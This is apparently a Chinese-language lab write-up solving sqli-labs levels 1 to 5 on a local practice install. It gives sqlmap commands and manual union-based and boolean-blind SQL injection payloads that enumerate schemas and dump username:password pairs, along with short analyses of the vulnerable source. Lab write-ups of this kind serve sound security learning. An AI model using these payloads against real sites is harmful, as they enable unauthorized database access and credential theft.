目录
第一关
sqlmap
判断是否有注入点
sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1
看报错可知,首先是GET请求,然后有四种注入类型依次分别是布尔型盲注、报错注入、时间型盲注、和联合注入
获取数据库名
sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1 --dbs
获取数据库中的表名
sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1 -D security --tables
获取表中的列名
sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
获取列中的字段
sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1 -D security -T users -C password,username --dump
手工注入
找到注入点
?id=1
?id=1 and 1=1
?id=1 and 1=2
###
输入这三个返回同一个界面,说明sql注入不是数字型
这边爆了一个语法错误,说明单引号被带入sql了这个地方存在注入点
查询有几个字段
?id=1' order by 5 --+
?id=1' order by 3 --+
######
这边简单说几点,首先爆字段是为了后面union联合查询的时候使用,union查询的机制是 union前面的sql语句有几个字段union后面的字段也必须有几个字段要不会报错.
然后--+ 是注释符--后面是一个空格url编码会转换为+
最后注释符有--+ # /**/,我做题得到时候一开始用的#怎么都不好使,就去查了一下资料,好像是跟请求方式有关get型用--+ post型用#(这个点我也没理解的很透彻,欢迎各位师傅补充)(其实主要是指导指导小弟)
这里也没有什么特别好的方法,只能一个一个去试直到返回正确的界面(结合二分法会稍微好一点)
查询数据库名
?id=0' union select 1,2,3 --+
#######
这边需要把ID改为一个数据库中不存在的值即可,
说明替换2,3的位置可以回显出来
查询表名
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
#######
group_concat() 是一个连接函数
table_schema 系统自带的一个表表内有所有的数据库名
information_schema.tables
table_name 表名
column_name 列名
查询列名
我们查询的时候也不是从头查到位,毕竟也不是所有的表中的数据都有价值,所以要有选择性的去查询一些可能存在一些关键信息的表比如:users
id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
这个payload就是把table换成column,然后把数据库名化成表名
查询值
?id=0' union select 1,2,group_concat(username,0x3a,password) from users --+
########
0x3a是十六进制的:用来连接用户名和密码让它们成对兑现不会乱
分析源码
这里可以看到id值是被单引号包裹的,而且没有任何过滤只是简单确认了一下是否存在就直接拼接到SQL语句中了
第一关到这里就结束啦~
第二关
老样子首先判断注入点
?id=1 and 1=1
?id=1 and 1=2
说明存在注入点且为数字类型的,所以我们只需要将第一关的所有操作中的'去掉再来一遍就可以了,我其实自己已经做一遍了,实在是懒得再来一遍贴图,所以这里就不演示了
源码分析
同样的问题,而且这第二关比第一关还干脆直接连单引号都不要了,直接id传进来
第三关
首先还是判断注入点
?id=1 正常
?id=1' 报错
这里我们要仔细观察这个报错内容,这里显示的是“1”)注意这里是有一个右括号的,说明后台的SQL语句中除了单引号外,外面还包括了一对小括号,所以我们在构造payload的时候要记得把这个单引号闭合上
?id=1') and 1=1 --+ 返回正常
?id=1') and 1=2 --+ 页面报错说明存在注入点
剩下的环节就同上了
源码分析
这边和我们推测的是一摸一样就是在单引号后面又加了一对小括号
第四关
?id=1 正常
?id=1' 正常
?id=1" 错误
所以这一关的SQL语句为
select * from 表名 where id=("$id")
?id=-1'" ) union select 1,2,3 --+
查询数据库名,及版本信息
?id=-1'" ) union select 1,database(),version() --+
查询表名
?id=-1'" ) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询列名
security
?id=-1'" ) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查询数据
?id=-1'" ) union select 1,2,group_concat(username,0x3a,password) from security.users --+
分析源码
sql语句本身是只有一个括号在的,但是注意看在sql语句前面它是在$id的左边和右边都加了一个双引号,所以也可以直接视为("$id")
但是这一关我有一个问题不知道大家发现了没有,我的语句构造的是?id=1''')我是多了一个单引号的哦 ,后台的源码都证明了是("$id")那么为什么我们多加了一个单引号却还是可以正确执行呢?????
来了来了兄弟萌 今日填坑
这个我问了一下老师,老师说是双引号把1'当成字符执行了意思就是没把'当成符号,说一般单引号在双引号内就容易出现这种情况
第五关
手工注入
首先还是寻找注入点
?id=1 正确
?id=1' 错误
查询字段数
?id=1' order by 3 --+ 正确
?id=1' order by 4 --+ 错误
由此观察到页面好像和之前的也有点不一样了,好像输入正确也只有 you ara in ......这个界面而没有回显的具体信息了,但是还是要尝试一下
查询数据库名
?id=1' union select 1,2,3 --+
发现页面没有回显了
这个时候我们就需要换一种思路了,我第一时间想到是布尔盲注,
确定数据库长度
?id=1' and length(database())>10--+
?id=1' and length(database())>5--+
?id=1' and length(database())>7--+
?id=1' and length(database())>8--+
?id=1' and length(database())=8--+
###########
确定数据库名长度为8
猜解数据库名
?id=1' and ascii(substr(database(),1,1))>100--+
?id=1' and ascii(substr(database(),1,1))>120--+
?id=1' and ascii(substr(database(),1,1))>110--+
?id=1' and ascii(substr(database(),1,1))>115--+
?id=1' and ascii(substr(database(),1,1))=115--+
#######
省略了一些步骤,大概就是这么个意思,substr()在这里的意思就是数据库名这串字符串,从1开始到1的那个字符,和ascii()将这个字符转为ascii码,
ascii码115对应的是s,所以数据库名的第一个字符是s
然后就可以跳转substr()函数中的参数获取第二个字符的信息
?id=1' and ascii(substr(database(),2,1))=101--+
101对应的是e,所以数据库名的第二个字符为e
然后直到获取整个数据库名
最后我们获取到的数据库名为security
获取表名长度
and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 7--+
这里的一些函数我就不一一解释了,这里厚脸皮的推荐大家去看我的另一篇文章https://blog.csdn.net/weixin_50688050/article/details/116720320?spm=1001.2014.3001.5501,这篇文章写的还是比较详细的
获取具体的表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100#
下面的就是按部就班的获取列名得到长度、获取具体的列名,最后就是获取数据啦,重复性的工作太多我就不一一写出来了,其实主要是理解它这个意思
sqlmap
查询所有数据库
python3 sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-5/?id=1" --technique E --dbs -batch
#########
--technique E 选择报错注入的方式
--dbs 数据库
-batch 以默认的选项运行
查询数据库中的表
python3 sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-5/?id=1" --technique E -D security --tables -batch
查询表中的列
python3 sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-5/?id=1" --technique E -D security -T users --columns --dump -batch
查询数据
python3 sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-5/?id=1" --technique E -D security -T users -C password,username --dump -batch